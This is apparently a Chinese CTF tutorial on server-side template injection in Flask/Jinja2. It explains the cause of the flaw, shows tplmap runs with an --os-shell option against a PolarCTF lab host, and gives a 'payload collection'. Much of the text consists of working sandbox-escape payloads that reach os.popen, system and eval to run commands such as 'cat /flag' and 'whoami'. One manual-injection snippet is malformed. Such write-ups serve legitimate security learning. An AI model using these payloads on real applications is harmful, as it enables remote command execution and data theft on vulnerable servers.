摘要

SSTI(服务器端模板注入)

1.简介

模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,利用模板引擎来生成前端的html代码,模板引擎会提供一套生成html代码的程序,然后只需要获取用户的数据,然后放到渲染函数里,然后生成模板+用户数据的前端html页面,然后反馈给浏览器,呈现在用户面前。

模板引擎也会提供沙箱机制来进行漏洞防范,但是可以用沙箱逃逸技术来进行绕过。

2.SSTI(模板注入)

SSTI 就是服务器端模板注入(Server-Side Template Injection)

当前使用的一些框架,比如python的flask,php的tp,java的spring等一般都采用成熟的的MVC的模式,用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给View视图层,经过模板渲染展示给用户。

漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。

凡是使用模板的地方都可能会出现 SSTI 的问题,SSTI 不属于任何一种语言,沙盒绕过也不是,沙盒绕过只是由于模板引擎发现了很大的安全漏洞,然后模板引擎设计出来的一种防护机制,不允许使用没有定义或者声明的模块,这适用于所有的模板引擎。

3.神器tplmap(需要python2环境)

该工具自动检测和发掘服务器端模板的注入漏洞。支持测试Mako, Jinja2, Jade, Smarty, Freemarker, Velocity, 和Twig

tplmap

1
python2 tplmap.py -u http://eaf030c6-85cd-45a9-9c92-ec0bb882e399.www.polarctf.com:8090/?name=1

可以看到爆出了存在漏洞的参数和后端使用的模板引擎,接下来直接—os-shell一把梭就好了​

1
2
python2 tplmap.py -u http://eaf030c6-85cd-45a9-9c92-ec0bb882e399.www.polarctf.com:8090/?name=1 --engine=Jinja2 
--os-shell

3.手注

输入4输出结果为22,为python模板,那么模板注入为jinja2

相对于config比,这个for循环可以格式化输出。

1
2
3
4
{% for key,value in config.items() %}
<dt>{{ key|e }}</dt>
<dd>{{ value|e}}</dd>
{% endfor %}

1.用数组进行遍历

2.for循环

1
{{{%for c in [].__class__.__base__.__subclasses__()%}{%if c.__name__=='catch_warnings'%'}}}

3.bp爆破

4.Payload大全

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
{{''.__class__.__base__.__subclasses__()[169].__init__.__globals__['sys'].modules['os'].popen("cat /flag").read()}}

# os._wrap_close类中的popen
{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}}

# os._wrap_close类中的system
{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['system']('whoami')}}

# __import__方法
{{"".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()}}

# __builtins__
{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}}

# Jinja2创建的url_for()方法
{{url_for.__globals__.os.popen("cat /flag").read()}}


1
2
3
4
5
6
7
8
9
10
11
12
13
因为后端没有任何过滤,所以我们可以通过python的内置函数获取eval执行任意命令,这个Payload在网上也可以轻易找到
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
直接粘过去就可以了,要获取flag,就把id改成cat /flag即可。Payload放完了,解释下这个Payload的意思